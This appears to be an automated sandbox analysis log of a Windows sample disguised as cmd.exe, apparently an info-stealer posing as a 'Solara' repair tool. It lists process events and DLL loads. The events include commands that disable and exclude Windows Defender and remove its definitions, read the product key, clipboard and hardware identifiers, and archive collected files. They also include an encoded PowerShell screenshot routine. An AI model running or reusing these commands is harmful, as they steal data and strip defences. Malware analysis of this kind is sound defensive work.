Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara \| Repaired', 48+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES74CA.tmp" "c:\Users\user\AppData\Local\Temp\bcdu5fii\CSC91B7380AF2C2414A909984B12C6688DE.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: python3.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: libffi-7.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: sqlite3.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: libcrypto-1_1.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: libssl-1_1.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Desktop\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
